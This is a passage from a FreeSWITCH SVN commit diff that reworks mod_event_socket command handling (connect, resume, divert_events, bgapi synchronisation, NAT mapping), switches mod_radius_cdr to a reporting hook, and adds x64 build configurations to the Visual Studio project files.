-	if (!acs->listener || !acs->listener->rwlock || switch_thread_rwlock_tryrdlock(acs->listener->rwlock) != SWITCH_STATUS_SUCCESS) {
+	if (!acs->listener || !switch_test_flag(acs->listener, LFLAG_RUNNING) ||
+		!acs->listener->rwlock || switch_thread_rwlock_tryrdlock(acs->listener->rwlock) != SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error! cannot get read lock.\n");
+		acs->ack = -1;
 		goto done;
 	}
-
-
+	
+	acs->ack = 1;
+	
 	SWITCH_STANDARD_STREAM(stream);
-
+	
 	if ((status = switch_api_execute(acs->api_cmd, acs->arg, NULL, &stream)) == SWITCH_STATUS_SUCCESS) {
 		reply = stream.data;
 	} else {
@@ -1270,12 +1351,28 @@
 	}
 
   done:
+
 	if (acs->bg) {
 		switch_memory_pool_t *pool = acs->pool;
+		if (acs->ack == -1) {
+			int sanity = 2000;
+			while(acs->ack == -1) {
+				switch_cond_next();
+				if (--sanity <= 0) break;
+			}
+		}
+
 		acs = NULL;
 		switch_core_destroy_memory_pool(&pool);
 		pool = NULL;
+			
 	}
+
+ cleanup:
+	switch_mutex_lock(globals.listener_mutex);
+	prefs.threads--;
+	switch_mutex_unlock(globals.listener_mutex);
+
 	return NULL;
 
 }
@@ -1283,9 +1380,17 @@
 {
 	switch_status_t status = SWITCH_STATUS_SUCCESS;
 	char *cmd = switch_event_get_header(*event, "command");
-
+	char unload_cheat[] = "api bgapi unload mod_event_socket";
+	char reload_cheat[] = "api bgapi reload mod_event_socket";
+	
 	*reply = '\0';
 
+	if (switch_stristr("unload", cmd) && switch_stristr("mod_event_socket", cmd)) {
+		cmd = unload_cheat;
+	} else if (switch_stristr("reload", cmd) && switch_stristr("mod_event_socket", cmd)) {
+		cmd = reload_cheat;
+	} 
+
 	if (!strncasecmp(cmd, "exit", 4)) {
 		switch_clear_flag_locked(listener, LFLAG_RUNNING);
 		switch_snprintf(reply, reply_len, "+OK bye");
@@ -1331,13 +1436,13 @@
 
 		switch_mutex_lock(listener->filter_mutex);		
 		if (!listener->filters) {
-			switch_event_create(&listener->filters, SWITCH_EVENT_CHANNEL_DATA);
+			switch_event_create_plain(&listener->filters, SWITCH_EVENT_CHANNEL_DATA);
 		}
 		
 		if (!strcasecmp(header_name, "delete")) {
 			if (!strcasecmp(header_val, "all")) {
 				switch_event_destroy(&listener->filters);
-				switch_event_create(&listener->filters, SWITCH_EVENT_CHANNEL_DATA);
+				switch_event_create_plain(&listener->filters, SWITCH_EVENT_CHANNEL_DATA);
 			} else {
 				switch_event_del_header(listener->filters, header_val);
 			}
@@ -1350,8 +1455,14 @@
 
 		goto done;
 	}
+	
+	if (listener->session && !strncasecmp(cmd, "resume", 6)) {
+		switch_set_flag_locked(listener, LFLAG_RESUME);			
+		switch_channel_set_variable(switch_core_session_get_channel(listener->session), "socket_resume", "true");
+		switch_snprintf(reply, reply_len, "+OK");
+		goto done;
+	}
 
-
 	if (listener->session || !strncasecmp(cmd, "myevents ", 9)) {
 		switch_channel_t *channel = NULL;
 
@@ -1360,8 +1471,30 @@
 		}
 
 		if (!strncasecmp(cmd, "connect", 7)) {
-			switch_snprintf(reply, reply_len, "+OK");
-			goto done;
+			switch_event_t *call_event;
+			char *event_str;
+			switch_size_t len;
+
+			switch_set_flag_locked(listener, LFLAG_CONNECTED);			
+			switch_event_create(&call_event, SWITCH_EVENT_CHANNEL_DATA);
+			
+			if (channel) {
+				switch_caller_profile_event_set_data(switch_channel_get_caller_profile(channel), "Channel", call_event);
+				switch_channel_event_set_data(channel, call_event);
+			}
+			switch_event_add_header_string(call_event, SWITCH_STACK_BOTTOM, "Content-Type", "command/reply");
+			switch_event_add_header_string(call_event, SWITCH_STACK_BOTTOM, "Reply-Text", "+OK\n");
+			switch_event_add_header_string(call_event, SWITCH_STACK_BOTTOM, "Socket-Mode", switch_test_flag(listener, LFLAG_ASYNC) ? "async" : "static");
+			switch_event_add_header_string(call_event, SWITCH_STACK_BOTTOM, "Control", switch_test_flag(listener, LFLAG_FULL) ? "full" : "single-channel");
+
+			switch_event_serialize(call_event, &event_str, SWITCH_TRUE);
+			switch_assert(event_str);
+			len = strlen(event_str);
+			switch_socket_send(listener->sock, event_str, &len);
+			switch_safe_free(event_str);
+
+			//switch_snprintf(reply, reply_len, "+OK");
+			goto done_noreply;
 		} else if (!strncasecmp(cmd, "getvar", 6)) {
 			char *arg;
 			const char *val = "";
@@ -1434,10 +1567,57 @@
 	}
 
 
+	if (!strncasecmp(cmd, "divert_events", 13)) {
+		char *onoff = cmd + 13;
+		switch_channel_t *channel;
+		
+		if (!listener->session) {
+			switch_snprintf(reply, reply_len, "-ERR not controlling a session.");
+			goto done;
+		}
+
+		channel = switch_core_session_get_channel(listener->session);
+		
+		if (onoff) {
+			while(*onoff == ' ') {
+				onoff++;
+			}
+			
+			if (*onoff == '\r' || *onoff == '\n') {
+				onoff = NULL;
+			} else {
+				strip_cr(onoff);
+			}
+		}
+
+		if (switch_strlen_zero(onoff)) {
+			switch_snprintf(reply, reply_len, "-ERR missing value.");
+			goto done;
+		}
+
+		
+		if (!strcasecmp(onoff, "on")) {
+			switch_snprintf(reply, reply_len, "+OK events diverted");
+			switch_channel_set_flag(channel, CF_DIVERT_EVENTS);
+		} else {
+			switch_snprintf(reply, reply_len, "+OK events not diverted");
+			switch_channel_clear_flag(channel, CF_DIVERT_EVENTS);
+		}
+
+		goto done;
+
+	}
+
 	if (!strncasecmp(cmd, "sendmsg", 7)) {
 		switch_core_session_t *session;
 		char *uuid = cmd + 7;
-
+		const char *async_var = switch_event_get_header(*event, "async");
+		int async = switch_test_flag(listener, LFLAG_ASYNC);
+		
+		if (switch_true(async_var)) {
+			async = 1;
+		}
+		
 		if (uuid) {
 			while (*uuid == ' ') {
 				uuid++;
@@ -1449,13 +1629,17 @@
 				strip_cr(uuid);
 			}
 		}
-
+		
 		if (switch_strlen_zero(uuid)) {
 			uuid = switch_event_get_header(*event, "session-id");
 		}
 
+		if (uuid && listener->session && !strcmp(uuid, switch_core_session_get_uuid(listener->session))) {
+			uuid = NULL;
+		}
+
 		if (switch_strlen_zero(uuid) && listener->session) {
-			if (switch_test_flag(listener, LFLAG_ASYNC)) {
+			if (async) {
 				if ((status = switch_core_session_queue_private_event(listener->session, event)) == SWITCH_STATUS_SUCCESS) {
 					switch_snprintf(reply, reply_len, "+OK");
 				} else {
@@ -1504,7 +1688,12 @@
 		if (ename) {
 			switch_event_types_t etype;
 			if (switch_name_event(ename, &etype) == SWITCH_STATUS_SUCCESS) {
+				const char *subclass_name = switch_event_get_header(*event, "Event-Subclass");
 				(*event)->event_id = etype;
+
+				if (etype == SWITCH_EVENT_CUSTOM && subclass_name) {
+					switch_event_set_subclass_name(*event, subclass_name);
+				}
 			}
 		}
 
@@ -1539,6 +1728,7 @@
 		switch_thread_t *thread;
 		switch_threadattr_t *thd_attr = NULL;
 		switch_uuid_t uuid;
+		int sanity;
 
 		strip_cr(api_cmd);
 
@@ -1571,6 +1761,14 @@
 		}
 		switch_snprintf(reply, reply_len, "~Reply-Text: +OK Job-UUID: %s\nJob-UUID: %s\n\n", acs->uuid_str, acs->uuid_str);
 		switch_thread_create(&thread, thd_attr, api_exec, acs, acs->pool);
+		sanity = 2000;
+		while(!acs->ack) {
+			switch_cond_next();
+			if (--sanity <= 0) break;
+		}
+		if (acs->ack == -1) {
+			acs->ack--;
+		}
 
 		status = SWITCH_STATUS_SUCCESS;
 		goto done_noreply;
@@ -1609,7 +1807,7 @@
 		} else {
 			switch_snprintf(reply, reply_len, "-ERR not controlling a session");
 		}
-	} else if (!strncasecmp(cmd, "nolinger", 6)) {
+	} else if (!strncasecmp(cmd, "nolinger", 8)) {
 		if (listener->session) {
 			switch_clear_flag_locked(listener, LFLAG_LINGER);
 			switch_snprintf(reply, reply_len, "+OK will not linger");
@@ -1782,6 +1980,7 @@
 	switch_core_session_t *session = NULL;
 	switch_channel_t *channel = NULL;
 	switch_event_t *revent = NULL;
+	const char *var;
 
 	switch_mutex_lock(globals.listener_mutex);
 	prefs.threads++;
@@ -1819,10 +2018,12 @@
 		}
 	}
 	
-	if (switch_strlen_zero(listener->remote_ip)) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connection Open\n");
-	} else {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connection Open from %s:%d\n", listener->remote_ip, listener->remote_port);
+	if (globals.debug > 0) {
+		if (switch_strlen_zero(listener->remote_ip)) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connection Open\n");
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connection Open from %s:%d\n", listener->remote_ip, listener->remote_port);
+		}
 	}
 
 	switch_socket_opt_set(listener->sock, SWITCH_SO_NONBLOCK, TRUE);
@@ -1830,10 +2031,8 @@
 	add_listener(listener);
 
 	if (session && switch_test_flag(listener, LFLAG_AUTHED)) {
-		switch_event_t *ievent = NULL, *call_event;
-		char *event_str;
-
-
+		switch_event_t *ievent = NULL;
+		
 		switch_set_flag_locked(listener, LFLAG_SESSION);
 		status = read_packet(listener, &ievent, 25);
 
@@ -1842,35 +2041,14 @@
 			switch_clear_flag_locked(listener, LFLAG_RUNNING);
 			goto done;
 		}
+		
 
-		if (switch_event_create(&call_event, SWITCH_EVENT_CHANNEL_DATA) != SWITCH_STATUS_SUCCESS) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Memory Error!\n");
-			switch_clear_flag_locked(listener, LFLAG_RUNNING);
-			goto done;
-		}
-
 		if (parse_command(listener, &ievent, reply, sizeof(reply)) != SWITCH_STATUS_SUCCESS) {
 			switch_clear_flag_locked(listener, LFLAG_RUNNING);
 			goto done;
 		}
 
-		switch_caller_profile_event_set_data(switch_channel_get_caller_profile(channel), "Channel", call_event);
-		switch_channel_event_set_data(channel, call_event);
-		switch_event_add_header_string(call_event, SWITCH_STACK_BOTTOM, "Content-Type", "command/reply");
-		switch_event_add_header_string(call_event, SWITCH_STACK_BOTTOM, "Reply-Text", "+OK\n");
-		switch_event_add_header_string(call_event, SWITCH_STACK_BOTTOM, "Socket-Mode", switch_test_flag(listener, LFLAG_ASYNC) ? "async" : "static");
-		switch_event_add_header_string(call_event, SWITCH_STACK_BOTTOM, "Control", switch_test_flag(listener, LFLAG_FULL) ? "full" : "single-channel");
 
-		switch_event_serialize(call_event, &event_str, SWITCH_TRUE);
-		if (!event_str) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Memory Error!\n");
-			switch_clear_flag_locked(listener, LFLAG_RUNNING);
-			goto done;
-		}
-		len = strlen(event_str);
-		switch_socket_send(listener->sock, event_str, &len);
-
-		switch_safe_free(event_str);
 	} else {
 		switch_snprintf(buf, sizeof(buf), "Content-Type: auth/request\n\n");
 
@@ -1903,7 +2081,7 @@
 		}
 	}
 
-	while (switch_test_flag(listener, LFLAG_RUNNING) && listen_list.ready) {
+	while (!prefs.done && switch_test_flag(listener, LFLAG_RUNNING) && listen_list.ready) {
 		len = sizeof(buf);
 		memset(buf, 0, len);
 		status = read_packet(listener, &revent, 0);
@@ -1942,10 +2120,12 @@
 	if (revent) {
 		switch_event_destroy(&revent);
 	}
-
+	
 	remove_listener(listener);
 
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Session complete, waiting for children\n");
+	if (globals.debug > 0) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Session complete, waiting for children\n");
+	}
 
 	switch_thread_rwlock_wrlock(listener->rwlock);
 	flush_listener(listener, SWITCH_TRUE, SWITCH_TRUE);
@@ -1954,6 +2134,12 @@
 		switch_event_destroy(&listener->filters);
 	}
 	switch_mutex_unlock(listener->filter_mutex);
+
+	if (listener->session && (switch_test_flag(listener, LFLAG_RESUME) || 
+							  ((var = switch_channel_get_variable(channel, "socket_resume")) && switch_true(var)))) {
+		channel = switch_core_session_get_channel(listener->session);
+		switch_channel_set_state(channel, CS_RESET);
+	}
 	if (listener->sock) {
 		char disco_buf[512] = "";
 		const char message[] = "Disconnected, goodbye.\nSee you at ClueCon! http://www.cluecon.com/\n";
@@ -1978,7 +2164,10 @@
 
 	switch_thread_rwlock_unlock(listener->rwlock);
 
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connection Closed\n");
+	if (globals.debug > 0) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connection Closed\n");
+	}
+
 	switch_core_hash_destroy(&listener->event_hash);
 
 	if (listener->session) {
@@ -2027,6 +2216,12 @@
 
 				if (!strcmp(var, "listen-ip")) {
 					set_pref_ip(val);
+				} else if (!strcmp(var, "debug")) {
+					globals.debug = atoi(val);
+				} else if (!strcmp(var, "nat-map")) {
+					if (switch_true(val) && switch_core_get_variable("nat_type")) {
+						prefs.nat_map = 1;
+					}
 				} else if (!strcmp(var, "listen-port")) {
 					prefs.port = (uint16_t) atoi(val);
 				} else if (!strcmp(var, "password")) {
@@ -2051,6 +2246,14 @@
 		set_pref_pass("ClueCon");
 	}
 
+	if (!prefs.nat_map) {
+		prefs.nat_map = 0;
+	}
+
+	if (prefs.nat_map) {
+		prefs.nat_map = 0;
+	}
+
 	if (!prefs.port) {
 		prefs.port = 8021;
 	}
@@ -2075,7 +2278,7 @@
 
 	config();
 
-	for (;;) {
+	while(!prefs.done) {
 		rv = switch_sockaddr_info_get(&sa, prefs.ip, SWITCH_INET, prefs.port, 0, pool);
 		if (rv)
 			goto fail;
@@ -2092,6 +2295,11 @@
 		if (rv)
 			goto sock_fail;
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Socket up listening on %s:%u\n", prefs.ip, prefs.port);
+
+		if (prefs.nat_map) {
+			switch_nat_add_mapping(prefs.port, SWITCH_NAT_TCP, NULL, SWITCH_FALSE);
+		}
+
 		break;
 	  sock_fail:
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Socket Error! Could not listen on %s:%u\n", prefs.ip, prefs.port);
@@ -2101,7 +2309,7 @@
 	listen_list.ready = 1;
 
 
-	for (;;) {
+	while(!prefs.done) {
 		if (switch_core_new_memory_pool(&listener_pool) != SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "OH OH no pool\n");
 			goto fail;
@@ -2142,6 +2350,10 @@
 	}
 
 	close_socket(&listen_list.sock);
+	
+	if (prefs.nat_map && switch_core_get_variable("nat_type")) {
+		switch_nat_del_mapping(prefs.port, SWITCH_NAT_TCP);
+	}
 
 	if (pool) {
 		switch_core_destroy_memory_pool(&pool);

Modified: freeswitch/branches/seven/src/mod/event_handlers/mod_event_test/mod_event_test.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_event_test/mod_event_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_event_test/mod_event_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_event_test.c -- Framework Demo Module

Copied: freeswitch/branches/seven/src/mod/event_handlers/mod_radius_cdr/Makefile (from rev 14471, freeswitch/trunk/src/mod/event_handlers/mod_radius_cdr/Makefile) (0 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_radius_cdr/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_radius_cdr/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,24 @@
+RADCLIENT_VERSION=1.1.6
+RADCLIENT=freeradius-client-$(RADCLIENT_VERSION)
+RADCLIENT_DIR=$(switch_srcdir)/libs/$(RADCLIENT)
+RADCLIENT_LIBDIR=$(RADCLIENT_DIR)/lib
+RADCLIENT_LA=${RADCLIENT_LIBDIR}/libfreeradius-client.la
+
+LOCAL_CFLAGS=-I$(RADCLIENT_DIR)/include
+LOCAL_LIBADD=$(RADCLIENT_LA)
+
+BASE=../../../..
+include $(BASE)/build/modmake.rules
+
+$(RADCLIENT_DIR):
+	$(GETLIB) $(RADCLIENT).tar.gz
+
+$(RADCLIENT_DIR)/Makefile: $(RADCLIENT_DIR)
+	cd $(RADCLIENT_DIR) && ./configure --disable-shared --with-pic
+	$(TOUCH_TARGET)
+
+$(RADCLIENT_LA): $(RADCLIENT_DIR)/Makefile
+	cd $(RADCLIENT_DIR) && CFLAGS=$(CFLAGS) $(MAKE)
+	$(TOUCH_TARGET)
+
+

Deleted: freeswitch/branches/seven/src/mod/event_handlers/mod_radius_cdr/Makefile.am

Modified: freeswitch/branches/seven/src/mod/event_handlers/mod_radius_cdr/mod_radius_cdr.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_radius_cdr/mod_radius_cdr.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_radius_cdr/mod_radius_cdr.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,7 +17,7 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
@@ -155,9 +155,9 @@
 		return SWITCH_STATUS_FALSE;
 	}
 
-	if(channel) {
+	if (channel) {
 		const char *disable_flag = switch_channel_get_variable(channel, "disable_radius_start");
-		if(switch_true(disable_flag)) {
+		if (switch_true(disable_flag)) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "[mod_radius_cdr] Not Sending RADIUS Start\n");
 			return SWITCH_STATUS_SUCCESS;
 		}
@@ -371,7 +371,7 @@
 	return (retval);
 }
 
-static switch_status_t my_on_hangup(switch_core_session_t *session)
+static switch_status_t my_on_reporting(switch_core_session_t *session)
 {
 	switch_xml_t cdr;
 	switch_channel_t *channel = switch_core_session_get_channel(session);
@@ -396,9 +396,9 @@
 	}
 
 
-	if(channel) {
+	if (channel) {
 		const char *disable_flag = switch_channel_get_variable(channel, "disable_radius_stop");
-		if(switch_true(disable_flag)) {
+		if (switch_true(disable_flag)) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "[mod_radius_cdr] Not Sending RADIUS Stop\n");
 			return SWITCH_STATUS_SUCCESS;
 		}
@@ -406,7 +406,7 @@
 
 	switch_thread_rwlock_rdlock(globals.rwlock);
 
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "[mod_radius_cdr] Entering my_on_hangup\n");
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "[mod_radius_cdr] Entering my_on_reporting\n");
 
 	rad_config = my_radius_init();
 
@@ -705,9 +705,14 @@
 	/*.on_init */ NULL,
 	/*.on_routing */ my_on_routing,
 	/*.on_execute */ NULL,
-	/*.on_hangup */ my_on_hangup,
+	/*.on_hangup */ NULL,
 	/*.on_exchange_media */ NULL,
-	/*.on_soft_execute */ NULL
+	/*.on_soft_execute */ NULL,
+	/*.on_consume_media*/ NULL,
+	/*.on_hibernate*/ NULL,
+	/*.on_reset*/ NULL,
+	/*.on_park*/ NULL,
+	/*.on_reporting*/ my_on_reporting
 };
 
 SWITCH_MODULE_LOAD_FUNCTION(mod_radius_cdr_load)

Property changes: freeswitch/branches/seven/src/mod/event_handlers/mod_zeroconf


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/event_handlers/mod_zeroconf/mod_zeroconf.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_zeroconf/mod_zeroconf.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_zeroconf/mod_zeroconf.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -80,6 +83,72 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\howl-1.0.0\include&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;$(InputDir)..\..\..\..\libs\howl\src\lib\howl\Win32\$(OutDir)&quot;;&quot;$(InputDir)..\..\..\..\libs\howl\src\lib\mDNSResponder\Win32\$(OutDir)&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -142,6 +211,72 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\howl-1.0.0\include&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;$(InputDir)..\..\..\..\libs\howl\src\lib\howl\Win32\$(OutDir)&quot;;&quot;$(InputDir)..\..\..\..\libs\howl\src\lib\mDNSResponder\Win32\$(OutDir)&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/event_handlers/mod_zeroconf/mod_zeroconf.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_zeroconf/mod_zeroconf.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_zeroconf/mod_zeroconf.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_zeroconf.c -- Framework Demo Module

Copied: freeswitch/branches/seven/src/mod/formats/mod_file_string (from rev 14471, freeswitch/trunk/src/mod/formats/mod_file_string)

Property changes: freeswitch/branches/seven/src/mod/formats/mod_file_string


Name: svn:ignore
   + *.user
Win32
mod_file_string.so
.libs

Deleted: freeswitch/branches/seven/src/mod/formats/mod_file_string/Makefile

Copied: freeswitch/branches/seven/src/mod/formats/mod_file_string/Makefile (from rev 14471, freeswitch/trunk/src/mod/formats/mod_file_string/Makefile) (0 => 14472)


--- freeswitch/branches/seven/src/mod/formats/mod_file_string/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/formats/mod_file_string/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2 @@
+BASE=../../../..
+include $(BASE)/build/modmake.rules

Deleted: freeswitch/branches/seven/src/mod/formats/mod_file_string/mod_file_string.2008.vcproj

Copied: freeswitch/branches/seven/src/mod/formats/mod_file_string/mod_file_string.2008.vcproj (from rev 14471, freeswitch/trunk/src/mod/formats/mod_file_string/mod_file_string.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/src/mod/formats/mod_file_string/mod_file_string.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/formats/mod_file_string/mod_file_string.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,283 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="mod_file_string"
+	ProjectGUID="{70564D74-199A-4452-9C60-19ED5F242F0D}"
+	RootNamespace="mod_file_string"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+		<Platform
+			Name="x64"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
